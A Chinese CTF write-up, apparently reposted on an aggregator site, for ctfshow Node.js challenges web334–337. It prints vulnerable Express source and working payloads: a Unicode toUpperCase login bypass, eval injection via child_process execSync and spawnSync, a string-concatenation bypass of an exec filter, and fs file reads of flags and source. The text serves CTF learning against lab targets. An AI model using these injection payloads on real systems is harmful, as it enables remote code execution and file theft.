node.js漏洞——

news2024/11/25 2:48:58

一.什么是node.js

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。

总结一下

我觉得node.js就是提供一个JavaScript环境 使这个语言升级 可以写一些后端的东西

直接做题学习

学习express

ctfshow——web334

打开是一个登陆框(好看的js)

给了源码

var express = require('express');
// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var router = express.Router();

var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

想要不借助gpt看懂

先去学习一下 怎么用express模块创建服务器

————————学完了————————

感受是人类发明了gpt就要好好用它【呲牙笑】

还是让g大哥给我逐行注释一下吧【呲牙笑】

// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var express = require('express');
//创建路由对象
var router = express.Router();
//导入路由模块,并获取其中的 'items' 属性,这应该是一个用户对象数组。
var users = require('../modules/user').items;
 


// 定义一个名为 'findUser' 的函数,接受用户名和密码作为参数。
// 使用 'find' 方法在 'users' 数组中查找用户名(转换为大写)和密码匹配的用户。
// 该函数还确保用户名不是 'CTFSHOW'。
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */

//挂载具体路由
router.post('/', function(req, res, next) {

  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});
//向外导出路由对象
module.exports = router;

主要看这段代码

toUpperCase()的作用是把小写转换成大写

return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

所以这句话就用 小写的ctfshow 就能绕过

这里还有一个trick

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以用ctfſhow 123456登录也可以出flag

web335

页面问where is flag

先扫一下

看了一下

什么都没有

直接查看源代

这也没啥

看wp

 这里打开源代码提示我们

 在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。

通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。

漏洞利用:

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

通过学习,我们可以知道,下面这三个我们可以直接利用的

payload:
    require('child_process').execSync('cat f*').toString()
    require('child_process').spawnSync('cat', ['f*']).stdout.toString()
 
额外的发现
    execFileSync只能执行ls之类,他cat不了文件
    require('child_process').execSync('cat f*') 这里突然发现不用toString也行

web336

发现这里exec好像被禁了,而且统配符不知道为什么突然用不了

所以再去学一下佬们的wp

通配符被ban了可以先查找flag在哪

F1

?eval=require( 'child_process' ).spawnSync( 'ls', [ './' ] ).stdout.toString()

?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

F2

看佬们还有一种解决方法

可以先看一下源代码

用这两个变量可以知道当前路径

用js里面的fs模块

这里用js的fs模块

?eval=require('fs').readFileSync('/app/routes/index.js', 'utf8')

记得这里要引入fs模块

就这样一个小女孩拿到了js源代码

果然是过滤了 exec' 和 'load'

var express = require('express'); // 引入 Express 框架
var router = express.Router(); // 创建一个新的路由器对象

/* GET home page. */
router.get('/', function(req, res, next) { // 定义处理 GET 请求的路由

    res.type('html'); // 将响应内容类型设置为 HTML

    var evalstring = req.query.eval; // 获取查询参数 'eval' 的值

    // 检查 evalstring 是否为字符串,并且是否包含 'exec' 或 'load' 字符串(忽略大小写)
    if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
        res.render('index', { title: 'tql' }); // 如果条件满足,渲染 'index' 视图,并设置标题为 'tql'
    } else {
        // 否则,使用 eval() 函数计算 evalstring 的值,并渲染 'index' 视图,设置标题为 eval() 的结果
        res.render('index', { title: eval(evalstring) }); 
    }
});

module.exports = router; // 导出路由器对象

可以用字符串拼接的方式绕过 参考:[CTFSHOW][WEB入门]nodejs部分WP_ctfshow web335 y4ta-CSDN博客

?eval=require('child_process')['exe'%2b'cSync']('cat f*').toString()

把加号url编码(浏览器解析特性+会成为空格)

这里怎么通配符又能用了?

F3

还是经过学习,发现fs模块,还有列出目录中的文件的方法。

//列出当前目录下的文件

 require('fs').readdirSync('./')

payload:

require('fs').readFileSync('fl001g.txt','utf-8')

web337

简单的md5数组绕过

也就是说js和php一样都是弱类型

payload:

a[]=1&b[]=2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795984.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

49.线程池的关闭方法

shutdown方法 1.线程池状态变为shutdown 2.不会接收新任务 3.已提交的任务会执行完 4.此方法不会阻塞调用线程执行 ExecutorService executorService = Executors.newFixedThreadPool(2);executorService.submit(() -> {log.debug("task1 running");try {TimeUnit…

云原生架构案例分析_3.某快递公司核心业务系统云原生改造

名称解释: 阿里云ACK:阿里云容器服务 Kubernetes 版 ACK(Container Service for Kubernetes)集成Kubernetes网络、阿里云VPC、阿里云SLB,提供稳定高性能的容器网络。本文介绍ACK集群网络及阿里云网络底层基础设施的重要…

Spring Boot中整合Jasypt 使用自定义注解+AOP实现敏感字段的加解密

😄 19年之后由于某些原因断更了三年,23年重新扬帆起航,推出更多优质博文,希望大家多多支持~ 🌷 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志 🎐 个人CSND主页——Mi…

Bidirectional Copy-Paste for Semi-Supervised Medical Image Segmentation

文章目录 1. 问题背景2. 本文方法2.1. 模型图2.2. 损失函数 2. 模型的训练流程图3. 实验 1. 问题背景 (1)在半监督医学图像分割任务中,标签数据和无标签数据之间存在经验失配问题。 (2)如果采用分隔的方式或者采用不一…

【区块链】truffle测试

配置区块链网络 启动Ganache软件 使用VScode打开项目的wordspace 配置对外访问的RPC接口为7545,配置项目的truffle-config.js实现与新建Workspace的连接。 创建项目 创建一个新的目录 mkdir MetaCoin cd MetaCoin下载metacoin盒子 truffle unbox metacoincontra…

面试(五)

目录 1. 知道大顶端小顶端吗,代码怎么区分大顶端小顶端 2. 计算机中栈地址与内存地址增长方向相反吗? 3. %p和%d输出指针地址 4. 为什么定义第二个变量时候,地址反而减了 5. 12,32,64位中数据的占字节&#xff1f…

告别维修响应慢、费用纠纷,物业报修系统为客服人员减压增效

大家都知道物业报修系统是物业服务企业的得力助手,不仅帮助物业服务企业提升了业主满意度,还增强了物业和业主之间的粘度。但是,我们却忽略了物业报修系统对于物业客服人员带来了哪些工作上的便捷? 作为物业客服人员的你&#xff…

14 个必须了解的微服务设计原则

想象一下,一个机场有各种各样的业务,每个部门都是一个精心设计的微服务,专门用于预订、值机和行李处理等特定操作。机场架构必须遵循这个精心设计的架构的基本设计原则,反映微服务的原则。 例如,航空公司独立运营&…

搜索与图论:宽度优先搜索

搜索与图论&#xff1a;宽度优先搜索 题目描述参考代码 题目描述 输入样例 5 5 0 1 0 0 0 0 1 0 1 0 0 0 0 0 0 0 1 1 1 0 0 0 0 1 0输出样例 8参考代码 #include <iostream> #include <algorithm> #include <cstring> using namespace std;const int N …

chatglm-6b部署加微调

这里不建议大家使用自己的电脑&#xff0c;这边推荐使用UCloud优刻得-首家公有云科创板上市公司 我们进去以后会有一个新人优惠&#xff0c;然后有一个7天30元的购买&#xff0c;购买之后可以去选择镜像&#xff0c;然后在镜像处理的这个位置&#xff0c;可以选择镜像&#xf…

浙江零排参加全国水科技大会暨技术装备成果展览会(成都)并作主论坛演讲

2024年5月13日-15日中华环保联合会、福州大学、上海大学等联合举办的2024年全国水科技大会暨技术装备成果展览会在成都顺利举办。浙江零排城乡规划发展有限公司司受邀参加&#xff0c;首日有幸听取徐祖信院士、任洪强院士、汪华林院士等嘉宾的主旨报告。主旨报告后&#xff0c;…

麒麟操作系统rpm ivh安装rpm包卡死问题分析

夜间变更开发反应&#xff0c;rpm -ivh 安装包命令夯死&#xff0c;无执行结果&#xff0c;也无报错 排查 &#xff1a; 1、top 查看无进程占用较高进程存在&#xff0c;整体运行平稳 2、df -h 查看磁盘并未占满 3、其他服务器复现该命令正常执行 4、ps -ef|grep rpm 查看安装…

江苏省汽车及零部件产业协作配套对接会在苏州举行

5月28日&#xff0c;江苏省汽车及零部件产业协作配套对接会暨“百场万企”大中小企业融通对接活动在苏州举办。本次活动以“深化整零协作&#xff0c;促进大中小企业融通发展”为主题&#xff0c;由江苏省工业和信息化厅、中国中检所属中国汽车工程研究院股份有限公司&#xff…

跑图像生成模型GAN时,遇到OSError: cannot open resource 报错解决办法

报错信息如下&#xff1a; Traceback (most recent call last): File "/root/autodl-tmp/ssa-gan/pretrain_DAMSM.py", line 276, in <module> count train(dataloader, image_encoder, text_encoder, File "/root/autodl-tmp/ssa-gan/pretrain_DAMSM.py…

安卓SystemServer进程详解

目录 一、概述二、源码分析2.1 SystemServer fork流程分析2.1.1 [ZygoteInit.java] main()2.1.2 [ZygoteInit.java] forkSystemServer()2.1.3 [Zygote.java] forkSystemServer()2.1.4 [com_android_internal_os_Zygote.cpp]2.1.5 [com_android_internal_os_Zygote.cpp] ForkCom…

C语言数据结构(超详细讲解)| 二叉树的实现

二叉树 引言 在计算机科学中&#xff0c;数据结构是算法设计的基石&#xff0c;而二叉树&#xff08;Binary Tree&#xff09;作为一种基础且广泛应用的数据结构&#xff0c;具有重要的地位。无论是在数据库索引、内存管理&#xff0c;还是在编译器实现中&#xff0c;二叉树都…

springboot 社区疫苗管理网站系统-计算机毕业设计源码89484

摘 要 随着社会的发展&#xff0c;社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 社区疫苗管理网站系统&#xff0c;主要的模块包括查看首页、网站管理&#xff08;轮播图、公告信息&#xff09;人员管理&#xff08;管理员、…

Liunx音频

一. echo -e "\a" echo 通过向控制台喇叭设备发送字符来发声&#xff1a; echo -e "\a"&#xff08;这里的 -e 选项允许解释反斜杠转义的字符&#xff0c;而 \a 是一个响铃(bell)字符&#xff09; 二. beep 下载对应的包 yum -y install beep 发声命令 be…

金融创新浪潮下的拆分盘投资探索

随着数字化时代的步伐加速&#xff0c;金融领域正经历着前所未有的变革。在众多金融创新中&#xff0c;拆分盘作为一种新兴的投资模式&#xff0c;以其独特的增长机制&#xff0c;吸引了投资者的广泛关注。本文将对拆分盘的投资逻辑进行深入剖析&#xff0c;并结合具体案例&…

TikTok广告投放攻略——广告类型详解

TikTok广告是品牌或创作者付费向特定目标受众展示的推广内容&#xff08;通常是全屏视频&#xff09;。TikTok 上的广告是一种社交媒体营销形式&#xff0c;通常旨在提高广告商的知名度或销售特定产品或服务。 就 TikTok广告投放而言&#xff0c;其组织层级分为三个层级&#x…